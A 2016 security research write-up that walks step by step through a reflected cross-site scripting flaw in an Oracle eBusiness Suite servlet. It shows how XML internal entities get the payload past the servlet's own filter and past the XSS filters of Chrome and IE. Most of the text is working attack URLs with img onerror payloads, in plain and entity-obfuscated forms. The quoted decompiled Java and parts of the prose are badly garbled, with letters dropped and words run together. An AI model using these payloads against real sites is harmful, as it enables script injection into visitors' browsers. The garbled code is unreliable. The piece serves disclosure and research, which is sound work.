Bypassing Chrome's and IE's XSS Filters using XML Internal Entities
David Litchfield (​david@davidlitchfield.com​)
21st July 2016
tl;drProvided a web application performs some XML processing on the backend and is vulnerable toXSS, it may be possible to use XML Internal Entities to bypass the XSS filters of common web
browsers such as Chrome, IE and Safari; it works against Firefox, too, but apparently it has noXSS filter.
Bypassing the XSS Filters in common browsers
The BneApplicationService servlet in Oracle's eBusiness Suite 12.x and earlier has a cross­sitescripting flaw in it; this was initially found whilst looking for External XML Entity (XXE)
Processing flaws.
If we request the following URL
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=XXX
we get the following response:
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException ­oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.
Log File Bookmark: 392699

So we modify our request and wrap it in an XML tag
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=%3CFOO%3EXXXXX%3C/FOO%3E
We now get the following response:
The following error has occurred
Exception Name: oracle.apps.bne.exception.BneFatalException ­ java.lang.ClassCastException:
oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElement
Log File Bookmark: 60280​8XMLDocumentla=BUis.prSg(h_);

So, we need to work out what's going on underneath the covers in the class file. If we view thesource we find the following in the ​creatBodynSl​ method

XMLElemntoca1=(XMLElemnt)ocaDu.g;
NodeListlca=XMEmn1.gCh();
for(int=0;<lcaNdeLs.gh)+{
Strings1=";
Strings2=";
Strings3=";
Strings4=ul;
Strings5=ul;
Nodelca=nu;
XMLElemntoca2=()Ndis.;
NamedoMplc=XLEnt2.gAribus();
locaNde=mMp.gtI("bn:y);
if(locaNde!=nu){
str1=locaNde.gVu();}​b n e : t e x t ​");
locaNde=mMp.gtI("
if(locaNde!=nu){
str2=locaNde.gVu();}
locaNde=mMp.gtI("bn:vu);
if(locaNde!=nu){
str3=locaNde.gVu();}​b n e : c a u s e ​");
locaNde=mMp.gtI("if(locaNde!=nu){
str4=locaNde.gVu();}
locaNde=mMp.gtI("bn:i);
if(locaNde!=nu){
str5=locaNde.gVu();}
if(!str1.equalIgnoC"DAT)&2={​locaString
locaStringB u f f e r . a p p e n d ( " < p > < b > " + s t r 2 + " < / b > < / p > " ) ;
B u f f e r . a p p e n d ( " < p > " + s t r 4 + " < / p > " ) ;

We can see that if we set ​bne:tx​to something other than the word dat​
​ then it and thevalue for ​bne:caus​ are written back to the browser. This allows us to create a query stringthat will no longer have an XML parsing error:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22GHIJKL%22%3E%3C/bne:a%3E%3C/message%3E

We can see immediately this will be prone to an XSS attack. Let's try something simple; we'll
send ​<IMGSRC=/xoneralt(1)>​ and see what happens:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%
20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%3CIMG%20SRC=/x%20one
rror=alert(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
Reserved program word <message><bne:a xmlns:bne="foo" bne:text="ABCDEF"
bne:cause="&lt;I ... detected.
Press the Back button and remove the reserved program word. Contact your system administrator if thevalue cannot be changed.

Ok, so it appears the BneApplicationService has a built­in XSS Filter which we'll need tobypass. Recall first that we were originally looking for XXE processing flaws. After trying an
external XML entity (which failed and so this is not vulnerable to XXE attacks) it gave me theidea to use an internal XML entity to bypass the XSS filter. This will allow us to disguise ourattack by breaking it up into placeholders to be later be reconstructed. But first let's see what's
disallowed. Let's take off the first less than angle bracket:
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=%3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22IMG%20SRC=/x%20onerror=
alert(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

Ok, that works. So to bypass the BneApplicationService built­in filter, we only need to use aninternal XML entity for the angle bracket so we add an internal entity called x​​ and assign theless than angle bracket to it:<?xmlversion="1.0cdgUTF­8>!DOCYPEWL[NI"&lt;>]
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=​%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22
UTF­8%22%3F%3E%3C%21DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%22%3E%5D%3E%​3Cmessage%3E%3Cbne:a%20xmlns%3Abne%3D%22foo%22%20
bne%3Atext%3D%22ABCDEF%22%20bne%3Acause%3D%22%26xxx;IMG%20SRC=/x%20on
error=alert(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E
Our ​alert(1)​ didn't execute, which is to be expected because Chrome's XSS Filter now
notices the attack:So, now we have to bypass Chrome's XSS Filter. We can use internal XML entities to do this,too. We create entities for ​IMG​, ​SRC
​ and the one​​ of onerror. This is reassembled by the XML
parser on the web server but it's sufficiently hidden from Chrome to not be recognized as areflected XSS attack:https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationService?bne:page=Bne
MsgBox&bne:messagexml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UT
F­8%22%3F%3E%3C!DOCTYPE%20DWL%20%5B%3C%21ENTITY%20xxx%20%22%26lt;%
22%3E%3C%21​ENTITY%20yyy%20%22IMG%22%3E%3C%21ENTITY%20zzz%20%22SRC%22%3E%3C%21ENTITY%20ppp%20%22one%22​%3E%5D%3E%3Cmessage%3E%3Cbne:
a%20xmlns%3Abne%3D%22foo%22%20bne%3Atext%3D%22ABCDEF%22%20bne%3Acaus
e%3D%22%26xxx;%26yyy;%20%26zzz;=/x%20%26ppp;rror=alert(1)%3E%22%3E%3C/bne:a%3E%3C/message%3E

Tested: Firefox version 47, Chrome 51, IE 11, Safari 9.1.1